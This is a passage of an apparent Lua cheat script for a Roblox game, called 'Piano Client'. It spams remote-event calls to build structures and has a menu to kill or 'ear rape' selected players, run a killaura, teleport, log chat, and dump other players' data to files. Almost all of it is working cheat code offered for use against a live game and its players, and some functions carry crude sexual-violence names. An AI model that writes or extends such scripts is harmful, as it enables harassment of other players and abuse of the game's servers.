-0.432947874))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1330.66479, 340.822449, -719.940857, -0.750030518, -0.499900341, 0.433074921, -0.50000608, -6.50882721e-05, -0.866021931, 0.432952851, -0.866082966, -0.249904394))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1309.26892, 375.257416, -732.292542, -0.866039991, -0.499974549, -5.5283308e-06, -5.5283308e-06, 2.06232071e-05, -0.99999994, 0.499974549, -0.866040051, -2.06232071e-05))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1294.70557, 340.822357, -740.697998, -0.432947874, -0.499948561, 0.750071645, -0.866055071, -8.10623169e-05, -0.499948561, 0.250009388, -0.866055071, -0.432947874))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1367.02356, 340.822449, -698.952271, -0.433034182, -0.499921203, -0.750040054, 0.866027713, -5.24520874e-06, -0.499995947, 0.249954671, -0.866070867, 0.432947934))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1367.02356, 340.822449, -698.952271, -0.750030637, -0.499926746, -0.433044404, 0.500032485, -4.06503677e-05, -0.866006672, 0.432922333, -0.866067708, 0.250010014))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1367.02356, 340.822449, -698.952271, -0.866039991, -0.499974549, -5.5283308e-06, -5.5283308e-06, 2.06232071e-05, -0.99999994, 0.499974549, -0.866040051, -2.06232071e-05))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1367.02356, 340.822449, -698.952271, -0.750030518, -0.499900341, 0.433074921, -0.50000608, -6.50882721e-05, -0.866021931, 0.432952851, -0.866082966, -0.249904394))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1367.02356, 340.822449, -698.952271, -2.05039978e-05, -0.499938965, -0.866060615, 1, -2.05039978e-05, -1.18613243e-05, -1.18613243e-05, -0.866060615, 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-0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1337.37195, 317.856842, -697.356018, -0.500045776, 0, 0.865998983, 0, -1, 0, 0.865998983, 0, 0.500045776))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1316.70593, 317.856842, -661.557617, 1, 0, 0, 0, -1, 0, 0, 0, -1))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1316.70593, 317.856842, -661.557617, -0.499959469, -0, -0.866048813, 0, -1, 0, -0.866048813, 0, 0.499959469))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1352.76184, 317.856842, -640.74292, 1, 0, 0, 0, -1, 0, 0, 0, -1))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1280.76147, 317.856842, -682.307983, 0.500045776, 0, -0.865998983, 0, -1, -0, -0.865998983, 0, -0.500045776))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1280.76147, 317.856842, -682.307983, 0.865962565, 0, 0.500108838, 0, -1.00000024, 0, 0.500108838, 0, -0.865962744))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1280.76147, 317.856842, -682.307983, 0.866051912, 0, -0.499954134, 0, -1.00000048, -0, -0.499954134, 0, -0.86605227))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1280.76147, 317.856842, -682.307983, 1, 0, 0, 0, -1, 0, 0, 0, -1))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1280.76147, 317.856842, -682.307983, 0, 0, -1, 0, -1, -0, -1, 0, -0))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1280.76147, 317.856842, -682.307983, -0.499959469, -0, -0.866048813, 0, -1, 0, -0.866048813, 0, 0.499959469))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1352.76184, 317.856842, -640.74292, -0.499959469, -0, -0.866048813, 0, -1, 0, -0.866048813, 0, 0.499959469))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1352.76184, 317.856842, -640.74292, 0, 0, -1, 0, -1, -0, -1, 0, -0))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1352.76184, 317.856842, -640.74292, 0.500045776, 0, -0.865998983, 0, -1, -0, -0.865998983, 0, -0.500045776))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1352.76184, 317.856842, -640.74292, 0.866051912, 0, -0.499954134, 0, -1.00000048, -0, -0.499954134, 0, -0.86605227))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1352.76184, 317.856842, -640.74292, 0.866007268, 0, 0.500031412, 0, -1.00000024, 0, 0.500031412, 0, -0.866007447))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1316.70593, 317.856842, -661.557617, 0.866051912, 0, -0.499954134, 0, -1.00000048, -0, -0.499954134, 0, -0.86605227))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1295.64209, 317.856842, -625.070068, 0, 0, 1, 0, -1, 0, 1, 0, -0))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1337.37195, 317.856842, -697.356018, 1, 0, 0, 0, -1, 0, 0, 0, -1))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1337.37195, 317.856842, -697.356018, 0.866007268, 0, 0.500031412, 0, -1.00000024, 0, 0.500031412, 0, -0.866007447))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1337.37195, 317.856842, -697.356018, 0.499959469, 0, 0.866048813, 0, -1, 0, 0.866048813, 0, -0.499959469))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1337.37195, 317.856842, -697.356018, 0, 0, 1, 0, -1, 0, 1, 0, -0))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1337.37195, 317.856842, -697.356018, 0.866051912, 0, -0.499954134, 0, -1.00000048, -0, -0.499954134, 0, -0.86605227))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1295.64209, 317.856842, -625.070068, 0.866051912, 0, -0.499954134, 0, -1.00000048, -0, -0.499954134, 0, -0.86605227))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1295.64209, 317.856842, -625.070068, 1, 0, 0, 0, -1, 0, 0, 0, -1))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1295.64209, 317.856842, -625.070068, 0.866007268, 0, 0.500031412, 0, -1.00000024, 0, 0.500031412, 0, -0.866007447))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1295.64209, 317.856842, -625.070068, 0.499959469, 0, 0.866048813, 0, -1, 0, 0.866048813, 0, -0.499959469))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1258.66675, 320.3862, -635.164429, 2.05039978e-05, -0.499938965, 0.866060615, -1, -2.05039978e-05, 1.18613243e-05, 1.18613243e-05, -0.866060615, -0.499938965))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1339.69336, 320.291534, -637.384888, 2.05039978e-05, -0.499938965, 0.866060615, -1, -2.05039978e-05, 1.18613243e-05, 1.18613243e-05, -0.866060615, -0.499938965))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35))buildevent:FireServer(1, "Wooden Wall Thick (2x3)", workspace.Buildings:WaitForChild(LocalPlayer.Name):WaitForChild"Node":GetPivot():ToWorldSpace(CFrame.new(-1313.69995, 377.799988, -660.700012, -0.499959469, 0, 0.866048813, 0, 1, 0, -0.866048813, 0, -0.499959469):ToObjectSpace(CFrame.new(-1288.74048, 322.28537, -617.803284, 2.05039978e-05, 0.499938965, 0.866060615, 1, -2.05039978e-05, -1.18613243e-05, 1.18613243e-05, 0.866060615, -0.499938965))),nil,BrickColor.new(BrickColor.Random().Number),nil,nil,tostring(ingamematerials[math.random(1,#ingamematerials)]):sub(15,35)) wait(3)for i,v in pairs(workspace.Buildings:WaitForChild(LocalPlayer.Name):GetChildren()) do if v.Name ~= 'Node' then buildevent:FireServer(7,v,v:GetPivot(),nil,3)end end workspace.Buildings:WaitForChild(LocalPlayer.Name).Node.PrimaryPart.Size = Vector3.new(2,2,2) sendnotification("Loaded Clannie Shredder 9000") end) -- Players | Globals local Playertab = Main.SideTab("Players",2.1) local plrtab = Playertab.Section("Player") plrtab.Box("Select","Player", function(a) if GetPlr(a) ~= nil then var.selected = GetPlr(a) sendnotification("Selected - "..var.selected.Name) else senderror("Player Doesn't Exist, Set to "..LocalPlayer.Name) var.selected = LocalPlayer end end) plrtab.Label("Player Specific") plrtab.Button("Steal Outfit", function() setclipboard(tostring(var.selected.PlayerData.Outfit.Value)) sendnotification("Copied Players Outfit to Clipboard") end) plrtab.Button("Kill Player", function() if IsValid(var.selected) and not Friend(var.selected) then local j rape(var.selected) j = var.selected.Character:FindFirstChild("Humanoid").Died:Connect(function() sendnotification("Killed "..var.selected.Name) j:Disconnect() end) end end) plrtab.Button("Killaura Whitelist Player",function() if Players:FindFirstChild(var.selected.Name) then if table.find(kawhitelist, var.selected.Name) then for i,v in ipairs(kawhitelist) do if v == var.selected.Name then table.remove(kawhitelist, i) sendnotification("Blacklisted "..var.selected.Name) end end else table.insert(kawhitelist, var.selected.Name) sendnotification("Whitelisted "..var.selected.Name) end else senderror("Player Doesn't Exist") end end) plrtab.Button("Healaura Blacklist Player",function() if Players:FindFirstChild(var.selected.Name) then if table.find(healaurablacklist, var.selected.Name) then for i,v in ipairs(healaurablacklist) do if v == var.selected.Name then table.remove(healaurablacklist, i) sendnotification("Whitelisted "..var.selected.Name) end end else table.insert(healaurablacklist, var.selected.Name) sendnotification("Blacklisted "..var.selected.Name) end else senderror("Player Doesn't Exist.") end end) plrtab.Button("Ear Rape Player",function() for i = 1,100 do wait() if IsValid(var.selected) and not Friend(var.selected) then getrenv()._G.Triggered(var.selected.Character:FindFirstChild("HumanoidRootPart"), sounds[math.random(1,5)],"") end end end) plrtab.Button("Teleport To Player",function() Tween(var.selected.Character:GetPivot(), .5) wait(.5) sendnotification("Arrived at "..var.selected.Name.."'s Position") end) plrtab.Button("View",function() game:GetService("Workspace").Camera.CameraSubject = var.selected.Character:WaitForChild("Humanoid") sendnotification("Viewing "..var.selected.Name) end) plrtab.Button("Unview", function() game:GetService("Workspace").Camera.CameraSubject = LocalPlayer.Character:WaitForChild("Humanoid") sendnotification("Unviewed") end) plrtab.Button("Heal Player", function() if IsValid(var.selected) then local oldpos = LocalPlayer.Character:GetPivot() for i,v in ipairs(LocalPlayer.Backpack:GetChildren()) do if v.Name:find("MediGun") then v.Parent = LocalPlayer.Character end end wait(.2) for i,v in ipairs(LocalPlayer.Character:GetChildren()) do if v.Name:find("MediGun") then for i = 1,32 do if not magnitudeplrs(LocalPlayer, var.selected, 30) then LocalPlayer.Character:SetPrimaryPartCFrame(var.selected.Character:GetPivot()) end game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(5, var.selected.Character.Humanoid) wait(.0468) game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(5, v) end else senderror("No MediGun Found") end end Tween(oldpos, .4) end end) plrtab.Button("Steal Player Song", function() local build = game:GetService("Workspace").Buildings:FindFirstChild(var.selected.Name) if build ~= nil and build:FindFirstChild("Jukebox") then setclipboard(tostring(build:FindFirstChild("Jukebox").Speaker.Sound.SoundId):gsub("rbxassetid://","https://www.roblox.com/library/")) sendnotification("Copied song Id to clipboard") else senderror("No Node Found/No Jukebox Found") end end) plrtab.Button("Dump Player Data",function() local data = "" if Players:FindFirstChild(var.selected.Name) then for i,v in ipairs(var.selected:GetDescendants()) do if v:IsA("BoolValue") or v:IsA("IntValue") or v:IsA("StringValue") then data = data..v.Name.." = "..tostring(v.Value).."\n" end end writefile("Piano Client/"..var.selected.Name.."'s Dumped PlayerData ["..math.random(1,99999).."].piano",data) sendnotification("Dumped Player Data, Check workspace folder in exploit.") else senderror("Player Doesn't Exist") end end) plrtab.Label("Players") plrtab.Button("Unbreak Kill", function() var.unbreakkill = true wait(.1) var.unbreakkill = false end) plrtab.Toggle("Friend Service",var.FriendService,function(a) var.FriendService = a togglenote("Friend Service",var.FriendService) end) plrtab.Button("Kill All Flagged", function() opos = LocalPlayer.Character:GetPivot() for i, v in ipairs(Players:GetPlayers()) do flagup() if v ~= LocalPlayer and IsValid(v) and not IsSemiGodded(v) and GetColorName(v) == "Red" or GetColorName(v) == "Orange" and not Friend(v) then rape(v) wait(.5) end end Tween(opos, .4) end) plrtab.Toggle("Loop Earrape All",var.errall,function(a) var.errall = a togglenote("Loop Earrape All",var.errall) end) plrtab.Toggle("Chat Troll",var.ctroll,function(a) var.ctroll = a togglenote("Chat Troll",var.ctroll) end) plrtab.Toggle("Chat Logger",var.msglog,function(a) var.msglog = a togglenote("Chat Logger",var.msglog) end) if var.outfits ~= nil then local outtab = Main.SideTab("Outfits", #var.outfits/7.53+.3) local outsec = outtab.Section("Outfits") for i,v in ipairs(var.outfits) do outsec.Button(v.Name,function() coroutine.wrap(function() for i = 1,5 do game:GetService('ReplicatedStorage'):FindFirstChild('Events').MenuActionEvent:FireServer(8,{v.Name;v.ID;true}) end wait(.2) antistealoutfit() end)() sendnotification("Wore "..v.Name) end) end outsec.Toggle("Anti Outfit Steal",var.AntiSteal,function(a) var.AntiSteal = a togglenote("Anti Outfit Steal",var.AntiSteal) end) outsec.Button("Wear random Outfit",function() local ranomdoutfit = var.outfits[math.random(1,#var.outfits)] coroutine.wrap(function() for i = 1,5 do game:GetService('ReplicatedStorage'):FindFirstChild('Events').MenuActionEvent:FireServer(8,{ranomdoutfit.Name;ranomdoutfit.ID;true}) end wait(.2) antistealoutfit() end)() sendnotification("Wore random outfit") end) outsec.Toggle("Loop wear random Outfits",var.looprandomoutfits,function(a) var.looprandomoutfits = a togglenote("Loop random Outfits",var.looprandomoutfits) end) outsec.Slider("Loop random Outfits Speed",0,20,var.looprandomoutfitstime,true,function(a) var.looprandomoutfitstime = a end) end -- Misc local MF = Main.SideTab("Configuration",1.85) local Misctab = MF.Section("Configuration") Misctab.Slider("FPS Cap",10,1000,var.fpscap,true,function(a) var.fpscap = a setfpscap(math.floor(a)) end) Misctab.Label("Notifications") Misctab.Slider("Left Note Size",.1,1,.9,true,function(a) var.notesize = a l__NoteSample__1.Size = UDim2.new(a, 0, 0, 40) end) Misctab.Box("Error Sound","Sound ID",function(a) var.errorsound = a note_4.SoundId = "rbxassetid://"..a sendnotification("Error Sound - "..a) end) Misctab.Box("Note Sound","Sound ID",function(a) var.notesound = a note_3.SoundId = "rbxassetid://"..a LocalPlayer.PlayerGui.Client.SFX.note3.SoundId = "rbxassetid://"..a LocalPlayer.PlayerGui.Client.SFX.note2.SoundId = "rbxassetid://"..a LocalPlayer.PlayerGui.Client.SFX.note1.SoundId = "rbxassetid://"..a sendnotification("Note Sound - "..a) end) Misctab.Toggle("Hide Notifications",var.SNotifs,function(a) var.SNotifs = a togglenote("Hide Notifications",var.SNotifs) end) Misctab.Dropdown(var.NSide or "Side",{"Left","Right"},function(a) var.NSide = a sendnotification("Notification_Side - "..var.NSide) end) Misctab.Label("Joins") Misctab.Button("Copy Game TP",function() setclipboard('game:GetService("TeleportService"):TeleportToPlaceInstance("'..game.PlaceId..'","'..game.JobId..'")') sendnotification("Game TP copied to clipboard") end) Misctab.Button("Rejoin", function() game:GetService('TeleportService'):TeleportToPlaceInstance(game.PlaceId, game.JobId) sendnotification("Rejoining...") end) Misctab.Box("Join JobID","Job ID",function(a) game:GetService('TeleportService'):TeleportToPlaceInstance(2262441883, a) sendnotification("Attempting to join...") end) Misctab.Label("Commands") Misctab.Box("Prefix","Prefix",function(a) var.prefix = a:sub(1,1) sendnotification("Command Prefix - "..var.prefix) TextLabelc.Text = "Your Prefix: "..var.prefix end) Misctab.Label("Credits") Misctab.Button("Copy Discord Invite", function() setclipboard("https://discord.gg/3tbavgGaMP") sendnotification("Discord Invite copied to clipboard") end) Misctab.Button("sawd#8020",function() sendnotification("making almost everything") end) Misctab.Button("Alice",function() sendnotification("helpin with tool manipulation") end) Misctab.Button("a mysterious 